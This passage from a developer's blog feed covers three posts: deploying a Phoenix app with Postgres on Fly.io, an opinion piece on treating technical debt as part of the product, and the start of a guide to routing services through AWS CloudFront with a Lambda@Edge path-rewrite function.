&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;above&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;credentials&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;the&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;hostname&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;my-app-postgres.internal.&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;For&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;example:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;postgres://postgres:BASE64-PASSWORD-HERE@my-app-postgres.internal:5432&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We received the &lt;code&gt;DATABASE_URL&lt;/code&gt; in the last section here. Normally, we would need to set it manually for our application, but don&apos;t worry since we will let fly.io set this environment variable automatically.&lt;/p&gt;
&lt;p&gt;Next, let&apos;s create an &lt;code&gt;app&lt;/code&gt; on fly.io.:&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# This will generate a random app name&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;flyctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;launch&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# To set the app name yourself, run:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;flyctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;launch&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--name&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;my-app&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you run the above command, you can choose a region for the app. Don&apos;t worry. You can always change and add regions afterward. For now, select a region close to you.&lt;/p&gt;
&lt;p&gt;This will create the &lt;code&gt;fly.toml&lt;/code&gt; file, which configures the deployment to fly.io.&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-toml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;app&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;my-app&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;kill_signal&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;SIGINT&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;kill_timeout&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;5&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# DON&amp;#39;T FORGET THE FOLLOWING 2 LINES&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# OTHERWISE YOUR REPO WON&amp;#39;T CONNECT TO POSTGRES&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;experimental&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;private_network&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;services&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;internal_port&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;4000&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;protocol&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;tcp&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;services&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;concurrency&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;hard_limit&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;25&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;soft_limit&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;20&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;services&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;ports&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;handlers&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;port&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;80&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;services&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;ports&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;handlers&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;tls&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;port&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;443&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;services&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;tcp_checks&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;grace_period&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;1s&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;interval&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;15s&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;port&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4000&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;restart_limit&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;6&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;timeout&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2s&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before we deploy the first version of our application, we must not forget to attach the Postgres database to the application:&lt;/p&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;flyctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;postgres&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attach&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;--postgres-app&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;my-app-postgres&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will add the &lt;code&gt;DATABASE_URL&lt;/code&gt; environment variable to your application.&lt;/p&gt;
&lt;p&gt;Finally, let&apos;s deploy the application with:&lt;/p&gt;
&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;flyctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deploy&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will build, upload, and start the Docker container of your application. It might take a minute or two.&lt;/p&gt;
&lt;p&gt;After the deployment process is done, you should be able to access your application at &lt;code&gt;my-app.fly.dev&lt;/code&gt;. If not, please don&apos;t hesitate to contact the folks at fly.io either on their &lt;a href=&quot;https://community.fly.io/&quot;&gt;community board&lt;/a&gt;, or me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/deploy-phoenix-with-flyio"/>
    <id>https://peterullrich.com/deploy-phoenix-with-flyio</id>
    <title>How to deploy a Phoenix project with Fly.io</title>
    <updated>2021-04-11T05:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;What comes to mind when you describe &quot;your product&quot;? Do you think about features built for your customers? How it solves a problem your customers have? Maybe even a logo, a slogan, or its theme color?&lt;/p&gt;
&lt;p&gt;These aspects describe your product&apos;s business side and &lt;a href=&quot;https://www.investopedia.com/terms/v/valueproposition.asp&quot;&gt;value proposition&lt;/a&gt;. However, they fail to mention the foundation of your product: &lt;strong&gt;its software&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The reason you might have forgotten about the software part lies in the fact that product development tends to revolve around the central question:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Which feature should we build next?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Answering this question is undoubtedly a critical step in product development. It justifies the need for a product and its development and is the bedrock of job security for everyone involved. Therefore, the most attention and perceived value lie on the business side of the product. Unfortunately, this causes the software and its maintenance to become nothing more than a by-product.&lt;/p&gt;
&lt;p&gt;Think about the last time you worked on a purely technical ticket, the last time you spend most of a sprint cleaning up the codebase or restructuring your architecture. In short: Paying off your &lt;a href=&quot;https://martinfowler.com/bliki/TechnicalDebt.html&quot;&gt;technical debt&lt;/a&gt;. If you did this just recently: Good for you. I mean it. If not: This is sadly more common than you might think, and it is a problem.&lt;/p&gt;
&lt;p&gt;Ignoring the technical side of a product means neglecting its foundation, and the risk of an eventual collapse increases. The demise might start with a loss in agility or development speed. The pace with which you build new features will slow until it comes to a screeching halt. Bugs will occur more often and will become more severe until you spend most of your time fire fighting. Your stakeholders will become first concerned, then annoyed, and eventually: angry. Your once-happy customers will become less so and eventually will leave if they can.&lt;/p&gt;
&lt;p&gt;If you want to avoid this scenario, you have to start including the technical side into the definition of &quot;your product&quot;. In other industries, this is already common practice. Think about what makes a car a &lt;em&gt;good&lt;/em&gt; car. It probably will be its engine and other mechanical parts, which allow its low maintenance, low consumption, and that it doesn&apos;t break down, ever. Carmakers know this and focus actively on maintaining and improving the technical side of their product as well. We need to adopt this perspective in software development too. The first step in this direction is to realize that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your product is not only your &quot;product&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&quot;Your product&quot; is not only a set of features and the problem it solves. It also includes its codebase, its architecture, its dependencies, and its technical debt. Once you acknowledge this, you need to adapt your workflow to incorporate this shift of perspective. Here are a few tips:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Minimize piggybacking tasks to reduce your technical debt on feature tickets. Don&apos;t make technical work like &lt;em&gt;clean up the codebase&lt;/em&gt; part of developing new features.&lt;/li&gt;
&lt;li&gt;Move technical work to purely technical tickets like &lt;em&gt;tasks&lt;/em&gt; or &lt;em&gt;chores&lt;/em&gt;.
&lt;ol&gt;
&lt;li&gt;Estimate and prioritize these tickets in your backlog.&lt;/li&gt;
&lt;li&gt;Don&apos;t make them inferior to feature tickets. Technical and feature tickets are equals from now on.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Plan your sprint with both technical and feature tickets. You decide about their ratio, but don&apos;t hesitate to have purely technical sprints if you feel like the technical debt overwhelms you.&lt;/li&gt;
&lt;li&gt;Consider adding a timebox to every sprint for technical tasks that are too small for their own ticket.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The depreciation of technical work has led to many battles between &quot;business&quot; and &quot;technical&quot; people. Typically, developers try to get a time or financial budget for reducing the technical debt, but the &quot;business people&quot; reject them since they don&apos;t see the value in such work. I hope that this opinion piece convinced you to change your perspective on this issue.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/your-product-is-not-only-your-product"/>
    <id>https://peterullrich.com/your-product-is-not-only-your-product</id>
    <title>Your product is not only your &quot;product</title>
    <updated>2021-04-06T05:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;My team at Studitemps and I ran into the problem that we had multiple services, which needed to be served from the same URL. We had one service running the Elixir + Phoenix stack that we considered our “main service”. This service should be accessible under an URL like &lt;code&gt;https://example.com&lt;/code&gt;. We also had another service serving our content, which we wanted to integrate into the navigation bar of our main service. We wanted the content service to be accessible under e.g. &lt;code&gt;https://example.com/content&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#setting-up-cloudfront-and-lambdaedge&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;setting-up-cloudfront-and-lambdaedge&quot;&gt;&lt;/a&gt;Setting up CloudFront and Lambda@Edge&lt;/h2&gt;
&lt;p&gt;We decided on using AWS CloudFront to route the requests to the appropriate services. In order to do that, we first needed to create two &lt;a href=&quot;https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistS3AndCustomOrigins.html#concept_CustomOrigin&quot;&gt;Origins&lt;/a&gt;, one forwarding any request to our main service and one to the content service. These were our settings for the Origin of our main service. The settings for the content service where exactly the same except for the &lt;strong&gt;Origin Domain Name&lt;/strong&gt; and &lt;strong&gt;Origin ID&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/reverse_proxy_cloudfront/pic_1.png&quot; alt=&quot;Origin Settings&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to route the requests to the appropriate services, we set up two &lt;a href=&quot;https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/RequestAndResponseBehaviorCustomOrigin.html&quot;&gt;Behaviors&lt;/a&gt;. One behavior would forward any requests containing the &lt;code&gt;/content&lt;/code&gt; path to the content service and the other requests would be forwarded to our main service by default. This were our settings for the &lt;code&gt;/content&lt;/code&gt; behavior:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/reverse_proxy_cloudfront/pic_2.png&quot; alt=&quot;Cache Behavior Settings&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, we wanted to remove the &lt;code&gt;/content&lt;/code&gt;-path from the request since the routes of our content service didn’t include the &lt;code&gt;/content&lt;/code&gt; part of the path. For example, the &lt;code&gt;post&lt;/code&gt;-route of our content service was available at &lt;code&gt;/post/my-first-post&lt;/code&gt; and not &lt;code&gt;/content/post/my-first-post&lt;/code&gt;. Therefore, we had to remove the /content part of the request URL. We decided on using a Lambda@Edge function for this.&lt;/p&gt;
&lt;p&gt;First, we created a &lt;code&gt;Node.js 12.x&lt;/code&gt; Lambda-Function “from scratch”. We needed to make sure that the function had all the right permissions in order to be triggered by the CloudFront-Behavior. Therefore, we used the &lt;code&gt;Basic Lambda@Edge permissions (for CloudFront Trigger)&lt;/code&gt; Policy Template, which predefines all the necessary permissions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/reverse_proxy_cloudfront/pic_3.png&quot; alt=&quot;Lambda Function Basic Information&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We based the code for the function on this informative &lt;a href=&quot;https://stackoverflow.com/a/31574851/4138739&quot;&gt;StackOverflow&lt;/a&gt; post. It uses the JavaScript &lt;code&gt;replace()&lt;/code&gt; function to remove the &lt;code&gt;/content&lt;/code&gt;-path.&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;use strict&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;handler&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;context&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;callback&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;request&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Records&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;cf&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;uri&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;uri&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;\/&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;callback&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This function retrieves the request object from the event, removes the &lt;code&gt;/content&lt;/code&gt;-part of the request uri and returns the updated request to CloudFront for further handling.&lt;/p&gt;
&lt;p&gt;Once we saved the code, we deployed the function Lambda@Edge. Under the menu “Actions”, we chose “Deploy to Lambda@Edge” and entered the following information:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/reverse_proxy_cloudfront/pic_4.png&quot; alt=&quot;Deploy to Lambda@Edge&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After deploying the Lambda-function, CloudFront would roll out the new distribution to all instances within 5–10min. Once the roll-out succeeded, our services were accessible under &lt;code&gt;https://example.com&lt;/code&gt; and &lt;code&gt;https://example.com/content&lt;/code&gt; respectively.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#setting-up-phoenix&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;setting-up-phoenix&quot;&gt;&lt;/a&gt;Setting up Phoenix&lt;/h2&gt;
